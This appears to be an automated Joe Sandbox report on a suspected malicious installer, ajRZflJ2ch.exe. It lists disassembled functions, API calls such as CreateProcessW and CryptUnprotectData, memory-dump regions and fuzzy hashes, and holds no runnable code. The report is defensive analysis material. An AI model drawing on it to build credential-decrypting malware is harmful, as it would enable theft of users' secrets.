Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: f8e0c1d3071f89bffdcd2d635822fb410905a1edc8d2ce6cb8a0a09a78f20d84
Instruction ID: 8bbc6a183a468c813578a114873fb97f9d5ca0b11dae6a70aa3aa56fe52826a6
Opcode Fuzzy Hash: f8e0c1d3071f89bffdcd2d635822fb410905a1edc8d2ce6cb8a0a09a78f20d84
Instruction Fuzzy Hash: 4BF0FF72A04518AFDB01DBE4DF88CEEB7BCEB48301B14047AF641F61A0CA749D519B38

Function 00401C1F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C8F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CA7

Strings

!, xrefs: 00401C5B

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 204806375d4f16312a37781d02af86e184349cdc68ded53cac09897120414cdc
Instruction ID: ef61c68cd4a6cc3a6f3726d4b558d534156d03c1c75d5f5b51cfe904c604fa23
Opcode Fuzzy Hash: 204806375d4f16312a37781d02af86e184349cdc68ded53cac09897120414cdc
Instruction Fuzzy Hash: A621B471948209AEEF049FA5DA4AABD7BB4EB44304F14443EF605B61D0D7B845409B18

Function 00405CBD Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00403492,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,75573420,004036EF,?,00000006,00000008,0000000A), ref: 00405CC3
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,00403492,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,75573420,004036EF,?,00000006,00000008,0000000A), ref: 00405CCD
lstrcatW.KERNEL32(?,0040A014,?,00000006,00000008,0000000A), ref: 00405CDF

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405CBD

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-4083868402
Opcode ID: cc3b6fad2320eb0d125534955cb1fe8af3638bf69e103b669ecb1462063790d4
Instruction ID: 595fb0ef6d3bfc82903baa2f142a0de03b6946227050b98ce465681b6cfad29b
Opcode Fuzzy Hash: cc3b6fad2320eb0d125534955cb1fe8af3638bf69e103b669ecb1462063790d4
Instruction Fuzzy Hash: AED0A771101630AAC111AB448D04CDF63ACEE45304342003BF601B70A2CB7C1D6287FD

Function 00405DC5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

Part of subcall function 00405D68: CharNextW.USER32(?,?,00425F30,?,00405DDC,00425F30,00425F30,?,?,75572EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,75572EE0,00000000), ref: 00405D76
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D7B
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D93

lstrlenW.KERNEL32(00425F30,00000000,00425F30,00425F30,?,?,75572EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,75572EE0,00000000), ref: 00405E1E
GetFileAttributesW.KERNEL32(00425F30,00425F30,00425F30,00425F30,00425F30,00425F30,00000000,00425F30,00425F30,?,?,75572EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,75572EE0), ref: 00405E2E

Strings

0_B, xrefs: 00405DCB

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: 0_B
API String ID: 3248276644-2128305573
Opcode ID: df6e64e4f6769b316d4c1c7beb25aaa03b2c49ca2ab4503c480f7fe4b4eab687
Instruction ID: e2ef3bf648e1011fa726b67e088789f036b8871ba300d86fb9c867912b04298b
Opcode Fuzzy Hash: df6e64e4f6769b316d4c1c7beb25aaa03b2c49ca2ab4503c480f7fe4b4eab687
Instruction Fuzzy Hash: B4F0F439109E5116D62233365D09BEF0548CF82354B5A853BFC91B22D2DB3C8A539DFE

Function 004059D1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00426730,Error launching installer), ref: 004059FA
CloseHandle.KERNEL32(?), ref: 00405A07

Strings

Error launching installer, xrefs: 004059E4

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction ID: 166b032e71181ba573d10d742cd21a74b10ba840f41c43b266edefbe5b435367
Opcode Fuzzy Hash: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction Fuzzy Hash: E5E04FB0A102097FEB009B64ED49F7B76ACFB04208F404531BD00F2150D774A8208A7C

Function 00403A43 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00000000,75572EE0,00403A1A,75573420,00403819,00000006,?,00000006,00000008,0000000A), ref: 00403A5D
GlobalFree.KERNEL32(?), ref: 00403A64

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403A55

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-4083868402
Opcode ID: e06207bb45b670d34af272b3fb1259f6a40c1f68299225e6b4906b67dd7614d2
Instruction ID: 7abb624b42f0eb5bf3103b67fd66c27476adae564a61ccebc81435f3e7eba37d
Opcode Fuzzy Hash: e06207bb45b670d34af272b3fb1259f6a40c1f68299225e6b4906b67dd7614d2
Instruction Fuzzy Hash: 73E0EC326111205BC6229F59AD44B5E776D6F58B22F0A023AE8C07B26087745D938F98

Function 701310E1 Relevance: 5.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 7013116A
GlobalFree.KERNEL32(00000000), ref: 701311C7
GlobalFree.KERNEL32(00000000), ref: 701311D9
GlobalFree.KERNEL32(?), ref: 70131203

Memory Dump Source

Source File: 00000000.00000002.2274084322.0000000070131000.00000020.00000001.01000000.00000004.sdmp, Offset: 70130000, based on PE: true

Associated: 00000000.00000002.2273940310.0000000070130000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2274182585.0000000070134000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2274265618.0000000070136000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70130000_ajRZflJ2ch.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: fba83d51bf168b848661d944d191709ff0c5a8036f73e0408536215be6c5ecac
Instruction ID: 559e830aa76189d9d40eca58434450eb0f31dc8d5238f5e314a0399cbe53cc0c
Opcode Fuzzy Hash: fba83d51bf168b848661d944d191709ff0c5a8036f73e0408536215be6c5ecac
Instruction Fuzzy Hash: B631B2B25002019FD7048F75CD55A6EFBF8FB55710FA24529FA46E7B24EB75E8008BA0

Function 00405E43 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405E6B
CharNextA.USER32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7C
lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction ID: 3eb9f18af2c16f81f4dc7877ab3147293eaebe45f2d41041cd024b5e05e36bdf
Opcode Fuzzy Hash: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction Fuzzy Hash: 4AF0C831100514AFC7029B94DD4099FBBA8DF06354B25407AE844FB211D634DF01AB98

Analysis Process: ajRZflJ2ch.exePID: 5060, Parent PID: 2940COMMON

Execution Graph

Execution Coverage:	12.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	1.7%
Total number of Nodes:	358
Total number of Limit Nodes:	17

Executed Functions

Function 39EBD608 Relevance: 10.9, APIs: 1, Strings: 5, Instructions: 396
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$z9, xrefs: 39EBDA14
$X64X6DX6TX6dX6tX6, xrefs: 39EBD7CF, 39EBD7DA, 39EBD85E, 39EBD869, 39EBD87B, 39EBD886, 39EBDAB1, 39EBDABC
$z9, xrefs: 39EBD76E
$z9, xrefs: 39EBDA20
$z9, xrefs: 39EBD762

Memory Dump Source

Source File: 00000005.00000002.2736229094.0000000039EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39eb0000_ajRZflJ2ch.jbxd

Similarity

API ID: DispatchMessage
String ID: $X64X6DX6TX6dX6tX6$$z9$$z9$$z9$$z9
API String ID: 2061451462-3521950920
Opcode ID: eb18c07dffbe49634b3f9dda7df6a626a38e80f022f9bc5c16de4ebdc8b29566
Instruction ID: 64e985e061bbe6286191c7eee59abcb3377bb308b43ee22098ef4bb393f25629
Opcode Fuzzy Hash: eb18c07dffbe49634b3f9dda7df6a626a38e80f022f9bc5c16de4ebdc8b29566
Instruction Fuzzy Hash: 0AF14AB5A04309CFEB04DFA9C994B9DBBF1BF88304F158169D409AF265DB74E985CB80

Function 36AFD9D9 Relevance: 1.6, APIs: 1, Instructions: 56
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptUnprotectData.CRYPT32(000000A7,?,00000000,?,?,?,?), ref: 36AFDA45

Memory Dump Source

Source File: 00000005.00000002.2734067728.0000000036AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36af0000_ajRZflJ2ch.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 277813fcbb71b33e7f381e38d49fd0a65a4102bdd45912fc6e10ac10b42286e6
Instruction ID: b60d23d9f4252906ea9f6971131ec9721f84509b731dda1087e9c1b1f9ec049f
Opcode Fuzzy Hash: 277813fcbb71b33e7f381e38d49fd0a65a4102bdd45912fc6e10ac10b42286e6
Instruction Fuzzy Hash: 222156B6800249AFDB11DFAAC840BEEBFF4EF49320F148419EA55A7610C339A550DFA5

Function 36AFD1EC Relevance: 1.6, APIs: 1, Instructions: 55encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(000000A7,?,00000000,?,?,?,?), ref: 36AFDA45

Memory Dump Source

Source File: 00000005.00000002.2734067728.0000000036AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36af0000_ajRZflJ2ch.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 26968f542d0ca529358b2feed59301d54ba7b85121be2745e4bef8887009244f
Instruction ID: 807893693d412592fa70d91d0031f03b94d24c9b744daaa8c741549f82bacd72
Opcode Fuzzy Hash: 26968f542d0ca529358b2feed59301d54ba7b85121be2745e4bef8887009244f
Instruction Fuzzy Hash: DE1159B6800349EFDB11DF99C845BDEBFF4EB48320F148419EA14A7250C739A550DFA5

Function 39A8A360 Relevance: 1.5, Strings: 1, Instructions: 219COMMON

Download Yara Rule

Strings

0^8, xrefs: 39A8A640

Memory Dump Source

Source File: 00000005.00000002.2736064050.0000000039A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 39A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39a80000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID: 0^8
API String ID: 0-200038284
Opcode ID: 7dc02d9d08834087a353019f2ceb2fb9221934fa048b411c939dc11f467cacfa
Instruction ID: eccc1cdf4eed38a84b8e222237efcdb75b55ff29e717353deb19fc33243e522b
Opcode Fuzzy Hash: 7dc02d9d08834087a353019f2ceb2fb9221934fa048b411c939dc11f467cacfa
Instruction Fuzzy Hash: 86A190B5E052288FEB18CF6AC944B9DBBF2BF89300F14C1AAD409A7255DB345A85CF51

Function 39A89D10 Relevance: 1.5, Strings: 1, Instructions: 219COMMON

Download Yara Rule

Strings

0^8, xrefs: 39A89FF0

Memory Dump Source

Source File: 00000005.00000002.2736064050.0000000039A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 39A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39a80000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID: 0^8
API String ID: 0-200038284
Opcode ID: f6884e25b09e4463b9824958e1fe9e90931cf9ccf122bdf36248c18acab4c2a2
Instruction ID: 501202a8e0817bcbc36be855c07406bd1d42dd377f8f58f8ec56a39ee1b8120d
Opcode Fuzzy Hash: f6884e25b09e4463b9824958e1fe9e90931cf9ccf122bdf36248c18acab4c2a2
Instruction Fuzzy Hash: 34A180B5E056188FEB18CF6AC944B9DBBF2AF89300F14C1AAD40DA7251DB745A85CF50

Function 39A8A9B0 Relevance: 1.5, Strings: 1, Instructions: 218COMMON

Download Yara Rule

Strings

0^8, xrefs: 39A8AC8B

Memory Dump Source

Source File: 00000005.00000002.2736064050.0000000039A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 39A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39a80000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID: 0^8
API String ID: 0-200038284
Opcode ID: 5ae0c6397420b227e304f091edad119756618953418c303eecccb28b7a76ed48
Instruction ID: b5c1df5d34e1f1ca20e33146d4c61c6a5167a59462a951f4baa72a38a6ff6c06
Opcode Fuzzy Hash: 5ae0c6397420b227e304f091edad119756618953418c303eecccb28b7a76ed48
Instruction Fuzzy Hash: 7BA192B5E052188FEB24CF6AC944B9DBBF6BF89300F14C1AAD409B7255DB345A85CF50

Function 39A896C8 Relevance: 1.5, Strings: 1, Instructions: 218COMMON

Download Yara Rule

Strings

0^8, xrefs: 39A899A4

Memory Dump Source

Source File: 00000005.00000002.2736064050.0000000039A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 39A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39a80000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID: 0^8
API String ID: 0-200038284
Opcode ID: 070700dfc04cd90a7ed5df9fba49f5dfcc4ec04578e7d456af8fa9c3a90f9a7d
Instruction ID: 0a22b2070018ab6a1179e31abc42d1f2e4f1f1cd83808377b4a2947b12565c18
Opcode Fuzzy Hash: 070700dfc04cd90a7ed5df9fba49f5dfcc4ec04578e7d456af8fa9c3a90f9a7d
Instruction Fuzzy Hash: ECA190B5E052188FEB24CF6AC944B9DFBF2BB89300F14C1AAD809A7255DB345A85CF51

Function 39A8A9A0 Relevance: 1.4, Strings: 1, Instructions: 166COMMON

Download Yara Rule

Strings

0^8, xrefs: 39A8AC8B

Memory Dump Source

Source File: 00000005.00000002.2736064050.0000000039A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 39A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39a80000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID: 0^8
API String ID: 0-200038284
Opcode ID: 0adf23c5482d7e9472f34e1350abefa6788f6bf30f892ad6f84246d2a82d78d1
Instruction ID: e3c610284d64414c3cab61a1cd3ddf452aef9d14cfdc220e78131aef0ae181f1
Opcode Fuzzy Hash: 0adf23c5482d7e9472f34e1350abefa6788f6bf30f892ad6f84246d2a82d78d1
Instruction Fuzzy Hash: 6C7195B5E016188FEB58CF6AC944B9EBBF2AF89300F14C1EAD40DA7255DB345A85CF50

Function 39A896B8 Relevance: 1.4, Strings: 1, Instructions: 164COMMON

Download Yara Rule

Strings

0^8, xrefs: 39A899A4

Memory Dump Source

Source File: 00000005.00000002.2736064050.0000000039A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 39A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39a80000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID: 0^8
API String ID: 0-200038284
Opcode ID: f0be8d9d4b909d1f74cc0bcf4cb91d7cd476f44220643efac4a8dbab98d73c10
Instruction ID: 650f37cd185fc3ba319de5d8d89d5488f122bbe3ed64c8c4c2c8260c6bde01d2
Opcode Fuzzy Hash: f0be8d9d4b909d1f74cc0bcf4cb91d7cd476f44220643efac4a8dbab98d73c10
Instruction Fuzzy Hash: 7F71B5B5E046188FEB58CF6AC944B9DFBF2AF89300F14C1AAD40DA7254DB345A85CF51

Function 000D8DA0 Relevance: 1.1, Instructions: 1137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2707091571.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb583ae401fd1c734da7fbeacad7455c97eabe1f2bd8cf45c6417d65eab7d6b5
Instruction ID: 6914336cfad21af47dedeabc93d8e9bdd0e900ee3ce77d849b6b717a9efc2623
Opcode Fuzzy Hash: eb583ae401fd1c734da7fbeacad7455c97eabe1f2bd8cf45c6417d65eab7d6b5
Instruction Fuzzy Hash: 09A24C71A04309DFCB15CFA8C894AAEBBF2BF89310F15856AE4059B361D735ED41CBA1

Function 39EBE7C8 Relevance: .8, Instructions: 764COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2736229094.0000000039EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39eb0000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7738f83dbb17ca689d88d276c55b28ae925651b24abf42a072bd8a703eb6ac8e
Instruction ID: 8476aca1af336bdc385149022df082425ba9ee86b8e1fe2543f501aeae14a288
Opcode Fuzzy Hash: 7738f83dbb17ca689d88d276c55b28ae925651b24abf42a072bd8a703eb6ac8e
Instruction Fuzzy Hash: 6282C374A40268CFDB25DF64C895B99BBB2FF89301F5080E9D80AA7351DB359E82DF50

Function 39A8BDF0 Relevance: .8, Instructions: 758COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2736064050.0000000039A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 39A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39a80000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5a4143dff6a5abd44255df49d894c4bbea7d304a3c84e56ae82c2a97cb5482f
Instruction ID: a7f6ccbea145fe4a47b39f4203e8893f944e0072b47349f13a9e3d20cd7d9b48
Opcode Fuzzy Hash: c5a4143dff6a5abd44255df49d894c4bbea7d304a3c84e56ae82c2a97cb5482f
Instruction Fuzzy Hash: 9E72D374A01258CFDB25DF68C895B99BBB2FF89701F5081E9D80AA7350CB359E82DF50

Function 39A88650 Relevance: .7, Instructions: 709COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2736064050.0000000039A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 39A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39a80000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4f4579590cce6f7fcad80a65691c4a53e5096c07fc0bfadc9781b07a901dfcf
Instruction ID: 1e4c1b709c77ccd20183e6a44a2749d916702a8dd12d016a0bde810850c94c76
Opcode Fuzzy Hash: c4f4579590cce6f7fcad80a65691c4a53e5096c07fc0bfadc9781b07a901dfcf
Instruction Fuzzy Hash: CE72CF74E052698FEB64DF69C984BDDBBB2BB49300F5082E9D809A7351DB349E81CF50

Function 000D5F90 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2707091571.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2d8f0ea093bf0938a5dbad0dc9f7b942391d6a14f16a80e4c41dbd93f54d53f
Instruction ID: f542fea8dc8747180febff409ae73eadf10fb834ee54be441be31ac9e1d032a3
Opcode Fuzzy Hash: c2d8f0ea093bf0938a5dbad0dc9f7b942391d6a14f16a80e4c41dbd93f54d53f
Instruction Fuzzy Hash: A0123C30A00219DFDB54CFA9C994AAEBBF2BF89314F15806AE405AB361D736DD41DB60

Function 36AFC638 Relevance: .3, Instructions: 303COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2734067728.0000000036AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36af0000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04e5118545b08439a37739f4986046387520f81faf08457a952c88d2c6d79a2f
Instruction ID: 089116063225b44dd0733e951574d9d2bc800486feaadc8abcdfd01b10b222e3
Opcode Fuzzy Hash: 04e5118545b08439a37739f4986046387520f81faf08457a952c88d2c6d79a2f
Instruction Fuzzy Hash: 0EE1C374E01218CFEB14CFA9C994B9DBBB2BF89304F1081A9D809BB391DB755A85DF11

Function 36AF03AF Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2734067728.0000000036AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36af0000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2922050151e0c9bf3dfec538151af9e5f6d493f5687280e99b0e0fc34984fea0
Instruction ID: 769b5c8dc80d393d118830d7ad8f7837a807a08d30285473bfc1526f52992b56
Opcode Fuzzy Hash: 2922050151e0c9bf3dfec538151af9e5f6d493f5687280e99b0e0fc34984fea0
Instruction Fuzzy Hash: 43D1A374E00318CFDB14DFA9C994B9DBBB2BF89301F1080A9D809AB365DB355A85DF51

Function 36AF0C1B Relevance: .2, Instructions: 224COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2734067728.0000000036AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36af0000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89a1b2a77bcee659827da29d599b1e084047461afcfc95833377a901b5a9688f
Instruction ID: a2027ccc73c3a8b0a6d7cdbce154763d4af16547675e70d1df7959dbe9f49025
Opcode Fuzzy Hash: 89a1b2a77bcee659827da29d599b1e084047461afcfc95833377a901b5a9688f
